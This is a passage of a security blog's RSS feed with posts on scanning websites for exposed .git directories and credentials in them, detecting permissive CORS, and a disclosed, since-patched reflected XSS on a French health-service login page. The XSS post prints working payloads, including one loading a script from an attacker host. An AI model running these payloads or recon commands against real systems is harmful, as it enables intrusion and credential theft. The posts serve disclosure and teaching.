Doppler
Dropbox
Dynatrace
Finicity
Frame.io
GitHub
GoCardless
Google Cloud
Hashicorp Terraform
Hubspot
Mailchimp
Mailgun
MessageBird
npm
NuGet
Palantir
Plivo
Postman
Proctorio
Pulumi
Samsara
Shopify
Slack
SSLMate
Stripe
Tencent Cloud
Twilio
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;finally-what-to-conclude-&quot;&gt;Finally what to conclude :&lt;/h3&gt;

&lt;p&gt;For each leaked secrets linked to an environment which could be targeted by an adversary :&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Revoke / update the secret (password, any token / private key, …) as quick as possible ;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://help.github.com/en/github/authenticating-to-github/removing-sensitive-data-from-a-repository&quot;&gt;Update the git commits history&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;More globally :&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Warn the stakeholders involved in this data leak (users, providers, …) ;&lt;/li&gt;
  &lt;li&gt;Check log files to detect former fraudulent access ;&lt;/li&gt;
  &lt;li&gt;Prevent the versioning of sensitive data (via .gitignore and set hooks to monitor your commits) ;&lt;/li&gt;
  &lt;li&gt;Include the secret scanning process as part as your continuous delivery process (build factory). For example for Github CI see the Github actions Trufflehog and Gitleaks as aforementioned.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;See you soon, next posts will be more internal pentesting / windows oriented,&lt;br /&gt;
Cheers.&lt;/p&gt;
</description>
        <pubDate>Wed, 27 May 2020 00:00:00 +0000</pubDate>
        <link>https://phackt.org/git-secrets-exposed</link>
        <guid isPermaLink="true">https://phackt.org/git-secrets-exposed</guid>
        
        
        <category>Dev</category>
        
      </item>
    
      <item>
        <title>Gathering some information from web exposed GIT repositories</title>
        <description>&lt;p&gt;Hello folks,&lt;/p&gt;

&lt;p&gt;Last week, while i was doing recon on some websites, i noticed that we can still found some versioning repositories in production. I found some classic &lt;strong&gt;.git&lt;/strong&gt; exposed, and in a lesser extent some &lt;strong&gt;.svn&lt;/strong&gt; directories. I decided to gather a bunch of websites caught in the TOP Alexa in order to look for the proportion of .git exposed; with &lt;strong&gt;112332&lt;/strong&gt; domains scanned (mixed TLDs), i found &lt;strong&gt;453&lt;/strong&gt; .git exposed, which is only &lt;strong&gt;0.4%&lt;/strong&gt;. Not bad.&lt;/p&gt;

&lt;p&gt;How to scan for web exposed git directories:&lt;br /&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap --open -PN -n -p80,81,82,8000,8080,443,8443,9443 --script http-git -oA http-git -iL domains.lst&lt;/code&gt;&lt;br /&gt;
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;N.B: this NSE script will perform HTTP requests thanks to input FQDNs (vhosting)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Some developers may clone repository specifying their login and password as part of the url, setting this remote origin in the git configuration. For example, once your nmap done, you can spot some login:password playing with this command:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ grep -A1 Remotes http-git.nmap | grep -E &quot;:.*:[^:]*@.*&quot; | awk &apos;{print $2}&apos;
https://apixxxxxx:[redacted]@github.com/apixxxxxx/apixxxxxx.git
http://deploy:[redacted]@10.0.0.4:7990/scm/[redacted]/portal.git
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However i was looking for other information, for example:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;repository’s activity; last commit date for each branch&lt;/li&gt;
  &lt;li&gt;repo directory traversal (great to download the whole repo)&lt;/li&gt;
  &lt;li&gt;highlights remote url&lt;/li&gt;
  &lt;li&gt;displays .git/config and .gitignore files&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Knowing a bit of a &lt;a href=&quot;https://git-scm.com/docs/gitrepository-layout&quot;&gt;.git repository layout&lt;/a&gt; will allow to easily retrieve this information even if you don’t have any directory traversal.&lt;br /&gt;
That’s why i created a bash script gathering this information which you can find &lt;a href=&quot;https://github.com/phackt/pentest/blob/master/fingerprint/web/git.sh&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/git-exposed/gittool.png&quot; alt=&quot;image1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If a repository seems interesting and has directory traversal and/or leaks in its remote url some credentials, you can simply download or clone the repository. For example to download the whole repo you can do the following:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ wget --recursive --no-parent http://localhost/phackt.github.io/.git/ &amp;amp;&amp;amp; \
cd localhost/phackt.github.io &amp;amp;&amp;amp; \
git reset --hard
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now what happens if you didn’t find any creds (most of the cases) and &lt;strong&gt;directory traversal is not enabled&lt;/strong&gt; ? I will not reinvent the wheel and advice you to read this &lt;a href=&quot;https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/&quot;&gt;article&lt;/a&gt; amongst others.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ curl -I http://localhost/phackt.github.io/.git/
HTTP/1.1 403 Forbidden
Date: Sat, 11 Aug 2018 17:00:04 GMT
Server: Apache/2.4.33 (Debian)
Content-Type: text/html; charset=iso-8859-1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I gave a try to another &lt;a href=&quot;https://github.com/arthaud/git-dumper&quot;&gt;git dumper tool&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ git clone https://github.com/arthaud/git-dumper.git &amp;amp;&amp;amp; cd git-dumper
$ pip install -r requirements.txt
$ ./git-dumper.py http://localhost/phackt.github.io/.git/ /tmp/repo
[-] Testing http://localhost/phackt.github.io/.git/HEAD [200]
[-] Testing http://localhost/phackt.github.io/.git/ [403]
[-] Fetching common files
[-] Fetching http://localhost/phackt.github.io/.git/COMMIT_EDITMSG [200]
[-] Fetching http://localhost/phackt.github.io/.git/description [200]
[-] Fetching http://localhost/phackt.github.io/.git/hooks/commit-msg.sample [200]
[-] Fetching http://localhost/phackt.github.io/.git/hooks/post-commit.sample [302]
[-] Fetching http://localhost/phackt.github.io/.git/hooks/post-receive.sample [302]
[-] Fetching http://localhost/phackt.github.io/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://localhost/phackt.github.io/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://localhost/phackt.github.io/.git/hooks/pre-commit.sample [200]
...
[-] Running git checkout .
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can now inspect our freshly rebuilt repository:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ cd /tmp/repo &amp;amp;&amp;amp; ls -1
about.md
categories.md
CNAME
_config.yml
feed.xml
_includes
index.html
_layouts
POC
_posts
public
_sass
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;See you soon,&lt;br /&gt;
Cheers.&lt;/p&gt;
</description>
        <pubDate>Sun, 05 Aug 2018 00:00:00 +0000</pubDate>
        <link>https://phackt.org/web-exposed-git-repositories</link>
        <guid isPermaLink="true">https://phackt.org/web-exposed-git-repositories</guid>
        
        
        <category>Web Security</category>
        
      </item>
    
      <item>
        <title>Play with permissive CORS</title>
        <description>&lt;p&gt;Hello folks,&lt;/p&gt;

&lt;p&gt;While i was playing with a ‘code search engine’ tool called &lt;a href=&quot;https://publicwww.com&quot;&gt;publicwww&lt;/a&gt;, i decided to gather some top Alexa domains and to look for some permissive CORS. I tried the following researches, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;site:fr &quot;type=\&quot;password\&quot;&quot;&lt;/code&gt;, the same for the TLDs &lt;em&gt;.org&lt;/em&gt; and &lt;em&gt;.com&lt;/em&gt;, in order to spot webpages with a login form, meaning authenticated users..&lt;br /&gt;
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;I will let you play with publicwww, remember that you are limited with basic access but if you pay you will have access to the top 200000 Alexa websites dealing with your request. May be you also wanna play with Shodan or Censys.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Automate permissive CORS detection&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We already talked about &lt;strong&gt;Cross Origin Ressource Sharing&lt;/strong&gt; in some &lt;a href=&quot;https://phackt.org/xss-cors-csrf-partie-3-cors-csrf&quot;&gt;previous posts&lt;/a&gt;. You also have a great explanation about the &lt;strong&gt;Same Origin Policy&lt;/strong&gt; on &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy&quot;&gt;mozilla.org&lt;/a&gt;. A website with permissive CORS will allow an attacker to perform any requests to this website from another ressource and this request can include the victim’s cookies (xhr.withCredentials = true).&lt;/p&gt;

&lt;p&gt;So if the cookie’s session is reflected, you will be able to steal it and forge the victim’s session. You will be able to change the victim’s password if the former one is not requested, read some sensitive account information, …. Remember that because now you can READ the response, you also &lt;strong&gt;can read the CSRF token&lt;/strong&gt; and bypass the protection.&lt;/p&gt;

&lt;p&gt;So once i gathered enough interesting domains and urls from OSINT tools, and got a bunch of ones dealing with bug some bounty programs, i decided to be original and to create a tool called &lt;a href=&quot;https://github.com/phackt/pentest/tree/master/fingerprint/web/cors&quot;&gt;cors.py&lt;/a&gt; (&lt;em&gt;DEPRECATED right now, check below&lt;/em&gt;).&lt;/p&gt;

&lt;p&gt;This tool reads a list of domains and/or urls and will HTTP request them, adding the &lt;strong&gt;Origin&lt;/strong&gt; header of your choice, example:&lt;br /&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Origin: https://phackt.org&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It will finally detects a permissive cors if the response header &lt;strong&gt;Access-Control-Allow-Origin&lt;/strong&gt; is set to &lt;em&gt;null&lt;/em&gt; or if the origin header’s value is reflected, and if the response header &lt;strong&gt;Access-Control-Allow-Credentials&lt;/strong&gt; is set to &lt;em&gt;true&lt;/em&gt; (permissive CORS is relevant only if you can read from request including victim’s cookies). You also can detect some strings in the response headers (see config.json) and configure other parameters like the number of threads, the user agent, the response timeout, and so on.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HOW TO&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./cors.py -h
usage: cors.py [-h] [-f URLSFILE] [-r]

Looking for some permissive CORS

optional arguments:
  -h, --help            show this help message and exit
  -f URLSFILE, --file URLSFILE
                        file with urls
  -r, --redirect        allow redirect in requests
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Example of output:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./cors.py -f /tmp/sitecomtypepassword.txt 
Processing 230 lines
Launching 20 threads
open cors found for url http://asiaroom.com/
open cors found for url http://aksekiyapi.com/
open cors found for url http://baseshare.com/
open cors found for url http://fitwall.com/
open cors found for url http://h10.edmarkreadingonline.com/
open cors found for url http://ermresearch.com/
open cors found for url http://ellysdirectory.com/
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;UPDATE 01/07/2020:I’m strongly suggesting right now to use this complete tool of which i merged most of CORS detecting features: &lt;a href=&quot;https://github.com/chenjj/CORScanner&quot;&gt;https://github.com/chenjj/CORScanner&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This tool gathers everything you need to detect an exploitable CORS misconfiguration &lt;i class=&quot;fa fa-usd&quot;&gt;&lt;/i&gt;&lt;i class=&quot;fa fa-usd&quot;&gt;&lt;/i&gt;&lt;i class=&quot;fa fa-usd&quot;&gt;&lt;/i&gt; :&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Misconfiguration type&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Reflect_any_origin&lt;/td&gt;
      &lt;td&gt;Blindly reflect the Origin header value in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Access-Control-Allow-Origin headers&lt;/code&gt; in responses, which means any website can read its secrets by sending cross-orign requests.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Prefix_match&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wwww.example.com&lt;/code&gt; trusts &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;example.com.evil.com&lt;/code&gt;, which is an attacker’s domain.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Suffix_match&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wwww.example.com&lt;/code&gt; trusts &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;evilexample.com&lt;/code&gt;, which could be registered by an attacker.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Not_escape_dot&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wwww.example.com&lt;/code&gt; trusts &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wwwaexample.com&lt;/code&gt;, which could be registered by an attacker.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Substring match&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wwww.example.com&lt;/code&gt; trusts &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;example.co&lt;/code&gt;, which could be registered by an attacker.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Trust_null&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wwww.example.com&lt;/code&gt; trusts &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;null&lt;/code&gt;, which can be forged by iframe sandbox scripts&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;HTTPS_trust_HTTP&lt;/td&gt;
      &lt;td&gt;Risky trust dependency, a MITM attacker may steal HTTPS site secrets&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Trust_any_subdomain&lt;/td&gt;
      &lt;td&gt;Risky trust dependency, a subdomain XSS may steal its secrets&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Custom_third_parties&lt;/td&gt;
      &lt;td&gt;Custom unsafe third parties origins like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;github.io&lt;/code&gt;, see more in &lt;a href=&quot;./origins.json&quot;&gt;origins.json&lt;/a&gt; file. Thanks &lt;a href=&quot;https://github.com/phackt&quot;&gt;@phackt&lt;/a&gt;!&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Special_characters_bypass&lt;/td&gt;
      &lt;td&gt;Exploiting browsers’ handling of special characters. Most can only work in Safari except &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_&lt;/code&gt;, which can also work in Chrome and Firefox. See more in &lt;a href=&quot;https://www.corben.io/advanced-cors-techniques/&quot;&gt;Advanced CORS Exploitation Techniques&lt;/a&gt;. Thanks &lt;a href=&quot;https://github.com/Malayke&quot;&gt;@Malayke&lt;/a&gt;.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Cheers.&lt;/p&gt;
</description>
        <pubDate>Sun, 24 Dec 2017 00:00:00 +0000</pubDate>
        <link>https://phackt.org/play-with-permissive-cors</link>
        <guid isPermaLink="true">https://phackt.org/play-with-permissive-cors</guid>
        
        
        <category>Web Security</category>
        
      </item>
    
      <item>
        <title>A fun case of XSS and other web concepts</title>
        <description>&lt;p&gt;Hello folks,&lt;/p&gt;

&lt;p&gt;I would like to share with you a practical case of reflected XSS while i was looking at my national health service account. Right now the XSS has been patched (we have an efficient dedicated national service where we can report such issues).
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is the issue ?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A reflected &lt;a href=&quot;https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)&quot;&gt;XSS&lt;/a&gt; in the login field at the authentication page from the website https://assure.ameli.fr where all french citizen are consulting their social security account. Some digits are required but setting some alphacharacters as login will return the string in uppercase.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where is the issue ?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;So i set:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/xss-practical-case/image1.png&quot; alt=&quot;image1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And i got:&lt;/p&gt;
&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;form&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;connexionCompteForm&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;connexioncompte_2connexionCompteForm&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;method=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;post&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;action=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://assure.ameli.fr:443/PortailAS/appmanager/PortailAS/assure?_nfpb=true&amp;amp;amp;_windowLabel=connexioncompte_2&amp;amp;amp;connexioncompte_2_actionOverride=%2Fportlets%2Fconnexioncompte%2Fvalidationconnexioncompte&amp;amp;amp;_pageLabel=as_login_page&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;r_cnx_form&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
...
&lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;connexioncompte_2nir_as&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;text&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;THEPOSTLOGIN&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;maxlength=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;13&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;size=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;13&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;placeholder=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Mon numéro de sécurité sociale&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;title=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Mon numéro de sécurité sociale&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;tabindex=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;3&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;connexioncompte_2numSecuriteSociale&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
...
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s try something else with the login &lt;strong&gt;toto&amp;lt;&amp;gt;”’();/:&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;input id=&quot;connexioncompte_2nir_as&quot; type=&quot;text&quot; value=&quot;TOTO&amp;lt;&amp;gt;&quot;&apos;();/\&quot; maxlength=&quot;13&quot; ...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;No escaping, no sanitizing or HTML encoding but we will have to deal with UPPERCASE. &lt;strong&gt;HTML is not case sensitive but javascript is&lt;/strong&gt;, so we will do some HEX encoding for the javascript part.&lt;/p&gt;

&lt;p&gt;An important thing i forgot to mention is that the payload is &lt;strong&gt;truncated to 255 characters&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;So this is &lt;strong&gt;how to exploit an XSS when your payload is UPPERCASED (and truncated):&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First payload:&lt;/strong&gt;&lt;br /&gt;
We can test the XSS thanks to this payload (alert) - &lt;em&gt;also notice that we want to preserve the way how the webpage renders&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://assure.ameli.fr/PortailAS/appmanager/PortailAS/assure?connexioncompte_2numSecuriteSociale=&quot; /&amp;gt;&amp;lt;IMG SRC=X ONERROR=&amp;amp;#x61;&amp;amp;#x6C;&amp;amp;#x65;&amp;amp;#x72;&amp;amp;#x74;(&amp;amp;#x64;&amp;amp;#x6F;&amp;amp;#x63;&amp;amp;#x75;&amp;amp;#x6D;&amp;amp;#x65;&amp;amp;#x6E;&amp;amp;#x74;&amp;amp;#x2E;&amp;amp;#x64;&amp;amp;#x6F;&amp;amp;#x6D;&amp;amp;#x61;&amp;amp;#x69;&amp;amp;#x6E;) hidden&amp;gt;&amp;lt;nimp &quot;&amp;amp;connexioncompte_2codeConfidentiel=&amp;amp;connexioncompte_2actionEvt=connecter
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Full payload url encoded:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://assure.ameli.fr/PortailAS/appmanager/PortailAS/assure?connexioncompte_2numSecuriteSociale=%22%20%2F%3E%3CIMG%20SRC%3DX%20ONERROR%3D%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B(%26%23x64%3B%26%23x6F%3B%26%23x63%3B%26%23x75%3B%26%23x6D%3B%26%23x65%3B%26%23x6E%3B%26%23x74%3B%26%23x2E%3B%26%23x64%3B%26%23x6F%3B%26%23x6D%3B%26%23x61%3B%26%23x69%3B%26%23x6E%3B)%20hidden%3E%3Cnimp%20%22&amp;amp;connexioncompte_2codeConfidentiel=&amp;amp;connexioncompte_2actionEvt=connecter
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;But wait… you process a GET request and you were talking about a form with POST method ?&lt;/em&gt;&lt;br /&gt;
Yes, there but there is no server-side filtering on the specific POST method (&lt;em&gt;of course it’s also exploitable with POST&lt;/em&gt;).&lt;/p&gt;

&lt;p&gt;So what do we have ?:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/xss-practical-case/image2.png&quot; alt=&quot;image2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It works because i’m using Firefox. IE and Chrome embed a reflected XSS auditor which prevents this kind of inline javascript execution.&lt;/p&gt;

&lt;p&gt;Now how to deal with a truncated payload ?:&lt;br /&gt;
Easy, we just have to call an external javascript file.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Final payload:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot; name=&quot;connexioncompte_2numSecuriteSociale&quot; placeholder=&quot;&amp;amp;#x4d;&amp;amp;#x6f;&amp;amp;#x6e;&amp;amp;#x20;&amp;amp;#x6e;&amp;amp;#x75;&amp;amp;#x6d;&amp;amp;#xe9;&amp;amp;#x72;&amp;amp;#x6f;&amp;amp;#x20;&amp;amp;#x64;&amp;amp;#x65;&amp;amp;#x20;&amp;amp;#x73;&amp;amp;#xe9;&amp;amp;#x63;&amp;amp;#x75;&amp;amp;#x72;&amp;amp;#x69;&amp;amp;#x74;&amp;amp;#xe9;&amp;amp;#x20;&amp;amp;#x73;&amp;amp;#x6f;&amp;amp;#x63;&amp;amp;#x69;&amp;amp;#x61;&amp;amp;#x6c;&amp;amp;#x65;&quot; /&amp;gt;&amp;lt;script src=&apos;https://evil.com/poc/poc.js&apos;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;nimp &quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Final payload url encoded:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://assure.ameli.fr/PortailAS/appmanager/PortailAS/assure?connexioncompte_2numSecuriteSociale=%22%20name%3D%22connexioncompte_2numSecuriteSociale%22%20placeholder%3D%22%26%23x4d%3B%26%23x6f%3B%26%23x6e%3B%26%23x20%3B%26%23x6e%3B%26%23x75%3B%26%23x6d%3B%26%23xe9%3B%26%23x72%3B%26%23x6f%3B%26%23x20%3B%26%23x64%3B%26%23x65%3B%26%23x20%3B%26%23x73%3B%26%23xe9%3B%26%23x63%3B%26%23x75%3B%26%23x72%3B%26%23x69%3B%26%23x74%3B%26%23xe9%3B%26%23x20%3B%26%23x73%3B%26%23x6f%3B%26%23x63%3B%26%23x69%3B%26%23x61%3B%26%23x6c%3B%26%23x65%3B%22%20%2F%3E%3Cscript%20src%3D%27https%3A%2F%2Fevil.com%2Fpoc%2Fpoc.js%27%3E%3C%2Fscript%3E%3Cnimp%20%22&amp;amp;connexioncompte_2codeConfidentiel=&amp;amp;connexioncompte_2actionEvt=connecter
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On our web server, we are creating the web tree &lt;em&gt;POC/POC.JS&lt;/em&gt; (scheme and domain name are not case sensitive). But does a little bird sing the word CORS (Cross-Origin Resource Sharing)?&lt;/p&gt;

&lt;p&gt;Here are some examples of resources which may be embedded cross-origin (&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy&lt;/a&gt;):&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;JavaScript with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;script src=&quot;...&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;. Error messages for syntax errors are only available for same-origin scripts.&lt;/li&gt;
  &lt;li&gt;CSS with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;...&quot;&amp;gt;&lt;/code&gt;. Due to the relaxed syntax rules of CSS, cross-origin CSS requires a correct Content-Type header. Restrictions vary by browser: IE, Firefox, Chrome, Safari (scroll down to CVE-2010-0051) and Opera.&lt;/li&gt;
  &lt;li&gt;Images with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;img&amp;gt;&lt;/code&gt;. Supported image formats include PNG, JPEG, GIF, BMP, SVG, …&lt;/li&gt;
  &lt;li&gt;Media files with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;video&amp;gt;&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;audio&amp;gt;&lt;/code&gt;.&lt;/li&gt;
